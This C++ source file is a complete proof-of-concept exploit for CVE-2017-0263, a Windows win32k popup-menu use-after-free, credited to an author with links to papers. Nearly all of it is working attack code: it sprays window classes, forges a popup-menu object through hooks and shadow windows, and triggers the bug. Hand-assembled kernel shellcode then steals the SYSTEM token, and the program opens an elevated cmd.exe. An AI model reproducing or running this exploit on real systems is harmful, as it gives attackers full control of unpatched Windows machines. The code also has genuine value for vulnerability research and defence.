x86.cpp

/**
 * Exploit:     CVE-2017-0263
 * Author:      Leeqwind (@leeqwind)
 * Paper(zh):   https://xiaodaozhi.com/exploit/71.html
 * Paper(en):   https://xiaodaozhi.com/exploit/117.html
 * Declaration: NO LEGAL LIABILITY.
 */

#include <Windows.h>
#include <wingdi.h>
#include <iostream>
#include <Psapi.h>
#pragma comment(lib, "psapi.lib")

#define POCDEBUG 0

#if POCDEBUG == 1
#define POCDEBUG_BREAK() getchar()
#elif POCDEBUG == 2
#define POCDEBUG_BREAK() __debugbreak()
#else
#define POCDEBUG_BREAK()
#endif

static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;

static constexpr UINT num_PopupMenuCount = 2;
static constexpr UINT num_WndShadowCount = 3;
static constexpr UINT num_offset_WND_pcls = 0x64;

static HMENU hpopupMenu[num_PopupMenuCount] = { 0 };
static UINT  iMenuCreated  = 0;
static BOOL  bDoneExploit  = FALSE;
static DWORD popupMenuRoot = 0;
static HWND  hWindowMain   = NULL;
static HWND  hWindowHunt   = NULL;
static HWND  hWindowList[0x100] = { 0 };
static UINT  iWindowCount  = 0;
static PVOID pvHeadFake    = NULL;
static PVOID pvAddrFlags   = NULL;

typedef struct _HEAD {
    HANDLE  h;
    DWORD   cLockObj;
} HEAD, *PHEAD;

typedef struct _THROBJHEAD {
    HEAD    head;
    PVOID   pti;
} THROBJHEAD, *PTHROBJHEAD;

typedef struct _DESKHEAD {
    PVOID   rpdesk;
    PBYTE   pSelf;
} DESKHEAD, *PDESKHEAD;

typedef struct _THRDESKHEAD {
    THROBJHEAD  thread;
    DESKHEAD    deskhead;
} THRDESKHEAD, *PTHRDESKHEAD;

typedef struct _SHELLCODE {
    DWORD reserved;
    DWORD pid;
    DWORD off_CLS_lpszMenuName;
    DWORD off_THREADINFO_ppi;
    DWORD off_EPROCESS_ActiveLink;
    DWORD off_EPROCESS_Token;
    PVOID tagCLS[0x100];
    BYTE  pfnWindProc[];
} SHELLCODE, *PSHELLCODE;

static PSHELLCODE pvShellCode = NULL;

// Arguments:
// [ebp+08h]:pwnd   = pwndWindowHunt;
// [ebp+0Ch]:msg    = 0x9F9F;
// [ebp+10h]:wParam = popupMenuRoot;
// [ebp+14h]:lParam = NULL;
// In kernel-mode, the first argument is tagWND pwnd.
static
BYTE
xxPayloadWindProc[] = {
    // Loader+0x108a:
    // Judge if the `msg` is 0x9f9f value.
    0x55,                               // push    ebp
    0x8b, 0xec,                         // mov     ebp,esp
    0x8b, 0x45, 0x0c,                   // mov     eax,dword ptr [ebp+0Ch]
    0x3d, 0x9f, 0x9f, 0x00, 0x00,       // cmp     eax,9F9Fh
    0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, // jne     Loader+0x1128
    // Loader+0x109b:
    // Judge if CS is 0x1b, which means in user-mode context.
    0x66, 0x8c, 0xc8,                   // mov     ax,cs
    0x66, 0x83, 0xf8, 0x1b,             // cmp     ax,1Bh
    0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, // je      Loader+0x1128
    // Loader+0x10a8:
    // Get the address of pwndWindowHunt to ECX.
    // Recover the flags of pwndWindowHunt: zero bServerSideWindowProc.
    // Get the address of pvShellCode to EDX by CALL-POP.
    // Get the address of pvShellCode->tagCLS[0x100] to ESI.
    // Get the address of popupMenuRoot to EDI.
    0xfc,                               // cld
    0x8b, 0x4d, 0x08,                   // mov     ecx,dword ptr [ebp+8]
    0xff, 0x41, 0x16,                   // inc     dword ptr [ecx+16h]
    0x60,                               // pushad
    0xe8, 0x00, 0x00, 0x00, 0x00,       // call    $5
    0x5a,                               // pop     edx
    0x81, 0xea, 0x43, 0x04, 0x00, 0x00, // sub     edx,443h
    0xbb, 0x00, 0x01, 0x00, 0x00,       // mov     ebx,100h
    0x8d, 0x72, 0x18,                   // lea     esi,[edx+18h]
    0x8b, 0x7d, 0x10,                   // mov     edi,dword ptr [ebp+10h]
    // Loader+0x10c7:
    0x85, 0xdb,                         // test    ebx,ebx
    0x74, 0x13,                         // je      Loader+0x10de
    // Loader+0x10cb:
    // Judge if pvShellCode->tagCLS[ebx] == NULL
    0xad,                               // lods    dword ptr [esi]
    0x4b,                               // dec     ebx
    0x83, 0xf8, 0x00,                   // cmp     eax,0
    0x74, 0xf5,                         // je      Loader+0x10c7
    // Loader+0x10d2:
    // Judge if tagCLS->lpszMenuName == popupMenuRoot
    0x03, 0x42, 0x08,                   // add     eax,dword ptr [edx+8]
    0x39, 0x38,                         // cmp     dword ptr [eax],edi
    0x75, 0xee,                         // jne     Loader+0x10c7
    // Loader+0x10d9:
    // Zero tagCLS->lpszMenuName
    0x83, 0x20, 0x00,                   // and     dword ptr [eax],0
    0xeb, 0xe9,                         // jmp     Loader+0x10c7
    // Loader+0x10de:
    // Get the value of pwndWindowHunt->head.pti->ppi->Process to ECX.
    // Get the value of pvShellCode->pid to EAX.
    0x8b, 0x49, 0x08,                   // mov     ecx,dword ptr [ecx+8]
    0x8b, 0x5a, 0x0c,                   // mov     ebx,dword ptr [edx+0Ch]
    0x8b, 0x0c, 0x0b,                   // mov     ecx,dword ptr [ebx+ecx]
    0x8b, 0x09,                         // mov     ecx,dword ptr [ecx]
    0x8b, 0x5a, 0x10,                   // mov     ebx,dword ptr [edx+10h]
    0x8b, 0x42, 0x04,                   // mov     eax,dword ptr [edx+4]
    0x51,                               // push    ecx
    // Loader+0x10f0:
    // Judge if EPROCESS->UniqueId == pid.
    0x39, 0x44, 0x0b, 0xfc,             // cmp     dword ptr [ebx+ecx-4],eax
    0x74, 0x07,                         // je      Loader+0x10fd
    // Loader+0x10f6:
    // Get next EPROCESS to ECX by ActiveLink.
    0x8b, 0x0c, 0x0b,                   // mov     ecx,dword ptr [ebx+ecx]
    0x2b, 0xcb,                         // sub     ecx,ebx
    0xeb, 0xf3,                         // jmp     Loader+0x10f0
    // Loader+0x10fd:
    // Get current EPROCESS to EDI.
    0x8b, 0xf9,                         // mov     edi,ecx
    0x59,                               // pop     ecx
    // Loader+0x1100:
    // Judge if EPROCESS->UniqueId == 4
    0x83, 0x7c, 0x0b, 0xfc, 0x04,       // cmp     dword ptr [ebx+ecx-4],4
    0x74, 0x07,                         // je      Loader+0x110e
    // Loader+0x1107:
    // Get next EPROCESS to ECX by ActiveLink.
    0x8b, 0x0c, 0x0b,                   // mov     ecx,dword ptr [ebx+ecx]
    0x2b, 0xcb,                         // sub     ecx,ebx
    0xeb, 0xf2,                         // jmp     Loader+0x1100
    // Loader+0x110e:
    // Get system EPROCESS to ESI.
    // Get the value of system EPROCESS->Token to current EPROCESS->Token.
    // Add 2 to OBJECT_HEADER->PointerCount of system Token.
    // Return 0x9F9F to the caller.
    0x8b, 0xf1,                         // mov     esi,ecx
    0x8b, 0x42, 0x14,                   // mov     eax,dword ptr [edx+14h]
    0x03, 0xf0,                         // add     esi,eax
    0x03, 0xf8,                         // add     edi,eax
    0xad,                               // lods    dword ptr [esi]
    0xab,                               // stos    dword ptr es:[edi]
    0x83, 0xe0, 0xf8,                   // and     eax,0FFFFFFF8h
    0x83, 0x40, 0xe8, 0x02,             // add     dword ptr [eax-18h],2
    0x61,                               // popad
    0xb8, 0x9f, 0x9f, 0x00, 0x00,       // mov     eax,9F9Fh
    0xeb, 0x05,                         // jmp     Loader+0x112d
    // Loader+0x1128:
    // Failed in processing.
    0xb8, 0x01, 0x00, 0x00, 0x00,       // mov     eax,1
    // Loader+0x112d:
    0xc9,                               // leave
    0xc2, 0x10, 0x00,                   // ret     10h
};

static
VOID
xxGetHMValidateHandle(VOID)
{
    HMODULE hModule = LoadLibraryA("USER32.DLL");
    PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
    PBYTE Address = NULL;
    for (INT i = 0; i < 0x30; i++)
    {
        if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
        {
            continue;
        }
        i += 2;
        if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
        {
            continue;
        }
        Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
        Address = Address + i + 5;
        pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
        break;
    }
}

#define TYPE_WINDOW 1

static
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
    return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}

static
PVOID
xxHMValidateHandle(HWND hwnd)
{
    PVOID RetAddr = NULL;
    if (!pfnHMValidateHandle)
    {
        xxGetHMValidateHandle();
    }
    if (pfnHMValidateHandle)
    {
        RetAddr = xxHMValidateHandleEx(hwnd);
    }
    return RetAddr;
}

static
VOID
__declspec(naked)
xxNtUserMNDragLeave(VOID)
{
    __asm { mov eax, 11ECh };
    __asm { int 2eh };
    __asm { ret };
}

static
LRESULT
WINAPI
xxShadowWindowProc(
    _In_ HWND   hwnd,
    _In_ UINT   msg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)
{
    if (msg != WM_NCDESTROY || bDoneExploit)
    {
        return DefWindowProcW(hwnd, msg, wParam, lParam);
    }
    std::cout << "::" << __FUNCTION__ << std::endl;
    POCDEBUG_BREAK();
    DWORD dwPopupFake[0xD] = { 0 };
    dwPopupFake[0x0] = (DWORD)0x00098208;  //->flags
    dwPopupFake[0x1] = (DWORD)pvHeadFake;  //->spwndNotify
    dwPopupFake[0x2] = (DWORD)pvHeadFake;  //->spwndPopupMenu
    dwPopupFake[0x3] = (DWORD)pvHeadFake;  //->spwndNextPopup
    dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup
    dwPopupFake[0x5] = (DWORD)pvHeadFake;  //->spmenu
    dwPopupFake[0x6] = (DWORD)pvHeadFake;  //->spmenuAlternate
    dwPopupFake[0x7] = (DWORD)pvHeadFake;  //->spwndActivePopup
    dwPopupFake[0x8] = (DWORD)0xFFFFFFFF;  //->ppopupmenuRoot
    dwPopupFake[0x9] = (DWORD)pvHeadFake;  //->ppmDelayedFree
    dwPopupFake[0xA] = (DWORD)0xFFFFFFFF;  //->posSelectedItem
    dwPopupFake[0xB] = (DWORD)pvHeadFake;  //->posDropped
    dwPopupFake[0xC] = (DWORD)0;
    for (UINT i = 0; i < iWindowCount; ++i)
    {
        SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
    }
    xxNtUserMNDragLeave();
    LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0);
    bDoneExploit = Triggered == 0x9F9F;
    return DefWindowProcW(hwnd, msg, wParam, lParam);
}

#define MENUCLASS_NAME L"#32768"

static
LRESULT
CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
    static HWND hwndMenuHit = 0;
    static UINT iShadowCount = 0;

    if (bDoneExploit || iMenuCreated != num_PopupMenuCount - 2 || cwp->message != WM_NCCREATE)
    {
        return CallNextHookEx(0, code, wParam, lParam);
    }
    std::cout << "::" << __FUNCTION__ << std::endl;
    WCHAR szTemp[0x20] = { 0 };
    GetClassNameW(cwp->hwnd, szTemp, 0x14);
    if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL)
    {
        std::cout << "::iShadowCount=" << iShadowCount << std::endl;
        POCDEBUG_BREAK();
        if (++iShadowCount == num_WndShadowCount)
        {
            SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);
        }
        else
        {
            SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW);
            SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW);
        }
    }
    else if (!wcscmp(szTemp, MENUCLASS_NAME))
    {
        hwndMenuHit = cwp->hwnd;
        std::cout << "::hwndMenuHit=" << hwndMenuHit << std::endl;
    }
    return CallNextHookEx(0, code, wParam, lParam);
}

#define MN_ENDMENU 0x1F3

static
VOID
CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
    DWORD         dwmsEventTime
)
{
    UNREFERENCED_PARAMETER(hWinEventHook);
    UNREFERENCED_PARAMETER(event);
    UNREFERENCED_PARAMETER(idObject);
    UNREFERENCED_PARAMETER(idChild);
    UNREFERENCED_PARAMETER(idEventThread);
    UNREFERENCED_PARAMETER(dwmsEventTime);
    std::cout << "::" << __FUNCTION__ << std::endl;
    if (iMenuCreated == 0)
    {
        popupMenuRoot = *(DWORD *)((PBYTE)xxHMValidateHandle(hwnd) + 0xb0);
    }
    if (++iMenuCreated >= num_PopupMenuCount)
    {
        std::cout << ">>SendMessage(MN_ENDMENU)" << std::endl;
        POCDEBUG_BREAK();
        SendMessageW(hwnd, MN_ENDMENU, 0, 0);
    }
    else
    {
        std::cout << ">>SendMessage(WM_LBUTTONDOWN)" << std::endl;
        POCDEBUG_BREAK();
        SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002);
    }
}

static
BOOL
xxRegisterWindowClassW(LPCWSTR lpszClassName, INT cbWndExtra)
{
    WNDCLASSEXW wndClass = { 0 };
    wndClass = { 0 };
    wndClass.cbSize = sizeof(WNDCLASSEXW);
    wndClass.lpfnWndProc    = DefWindowProcW;
    wndClass.cbWndExtra     = cbWndExtra;
    wndClass.hInstance      = GetModuleHandleA(NULL);
    wndClass.lpszMenuName   = NULL;
    wndClass.lpszClassName  = lpszClassName;
    return RegisterClassExW(&wndClass);
}

static
HWND
xxCreateWindowExW(LPCWSTR lpszClassName, DWORD dwExStyle, DWORD dwStyle)
{
    return CreateWindowExW(dwExStyle,
        lpszClassName,
        NULL,
        dwStyle,
        0,
        0,
        1,
        1,
        NULL,
        NULL,
        GetModuleHandleA(NULL),
        NULL);
}

static
VOID xxCreateCmdLineProcess(VOID)
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

static
DWORD
WINAPI
xxTrackExploitEx(LPVOID lpThreadParameter)
{
    UNREFERENCED_PARAMETER(lpThreadParameter);
    std::cout << "::" << __FUNCTION__ << std::endl;
    POCDEBUG_BREAK();

    for (INT i = 0; i < num_PopupMenuCount; i++)
    {
        MENUINFO mi = { 0 };
        hpopupMenu[i]  = CreatePopupMenu();
        mi.cbSize  = sizeof(mi);
        mi.fMask   = MIM_STYLE;
        mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
        SetMenuInfo(hpopupMenu[i], &mi);
    }
    for (INT i = 0; i < num_PopupMenuCount; i++)
    {
        LPCSTR szMenuItem = "item";
        AppendMenuA(hpopupMenu[i],
            MF_BYPOSITION | MF_POPUP,
            (i >= num_PopupMenuCount - 1) ? 0 : (UINT_PTR)hpopupMenu[i + 1],
            szMenuItem);
    }

    for (INT i = 0; i < 0x100; i++)
    {
        WNDCLASSEXW Class = { 0 };
        WCHAR szTemp[20] = { 0 };
        HWND hwnd = NULL;
        wsprintfW(szTemp, L"%x-%d", rand(), i);
        Class.cbSize        = sizeof(WNDCLASSEXA);
        Class.lpfnWndProc   = DefWindowProcW;
        Class.cbWndExtra    = 0;
        Class.hInstance     = GetModuleHandleA(NULL);
        Class.lpszMenuName  = NULL;
        Class.lpszClassName = szTemp;
        if (!RegisterClassExW(&Class))
        {
            continue;
        }
        hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
            0,
            0,
            0,
            0,
            NULL,
            NULL,
            GetModuleHandleA(NULL),
            NULL);
        if (hwnd == NULL)
        {
            continue;
        }
        hWindowList[iWindowCount++] = hwnd;
    }
    for (INT i = 0; i < iWindowCount; i++)
    {
        pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)xxHMValidateHandle(hWindowList[i]) + num_offset_WND_pcls);
    }

    DWORD fOldProtect = 0;
    VirtualProtect(pvShellCode, 0x1000, PAGE_EXECUTE_READ, &fOldProtect);

    xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000);
    hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN",
        WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
        WS_VISIBLE);
    xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x200);
    hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",
        WS_EX_LEFT,
        WS_OVERLAPPED);
    PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
    PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4;
    pvHeadFake = pbExtra + 0x44;
    for (UINT x = 0; x < 0x7F; x++)
    {
        SetWindowLongW(hWindowHunt, sizeof(DWORD) * (x + 1), (LONG)pbExtra);
    }
    PVOID pti = head->thread.pti;
    SetWindowLongW(hWindowHunt, 0x28, 0);
    SetWindowLongW(hWindowHunt, 0x50, (LONG)pti); // pti
    SetWindowLongW(hWindowHunt, 0x6C, 0);
    SetWindowLongW(hWindowHunt, 0x1F8, 0xC033C033);
    SetWindowLongW(hWindowHunt, 0x1FC, 0xFFFFFFFF);

    pvAddrFlags = *(PBYTE *)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16;

    SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc);

    SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
        GetModuleHandleA(NULL),
        GetCurrentThreadId());

    SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
        GetModuleHandleA(NULL),
        xxWindowEventProc,
        GetCurrentProcessId(),
        GetCurrentThreadId(),
        0);

    TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);

    MSG msg = { 0 };
    while (GetMessageW(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessageW(&msg);
    }
    return 0;
}

INT POC_CVE20170263(VOID)
{
    std::cout << "-------------------" << std::endl;
    std::cout << "POC - CVE-2017-0263" << std::endl;
    std::cout << "-------------------" << std::endl;

    pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (pvShellCode == NULL)
    {
        return 0;
    }
    ZeroMemory(pvShellCode, 0x1000);
    pvShellCode->pid = GetCurrentProcessId();
    pvShellCode->off_CLS_lpszMenuName    = 0x050;
    pvShellCode->off_THREADINFO_ppi      = 0x0b8;
    pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
    pvShellCode->off_EPROCESS_Token      = 0x0f8;
    CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, sizeof(xxPayloadWindProc));

    std::cout << "CREATE WORKER THREAD..." << std::endl;
    POCDEBUG_BREAK();
    HANDLE hThread = CreateThread(NULL, 0, xxTrackExploitEx, NULL, 0, NULL);
    if (hThread == NULL)
    {
        return FALSE;
    }
    while (!bDoneExploit)
    {
        Sleep(500);
    }
    xxCreateCmdLineProcess();
    DestroyWindow(hWindowMain);
    TerminateThread(hThread, 0);
    std::cout << "-------------------" << std::endl;
    getchar();
    return bDoneExploit;
}

INT main(INT argc, CHAR *argv[])
{
    POC_CVE20170263();
    return 0;
}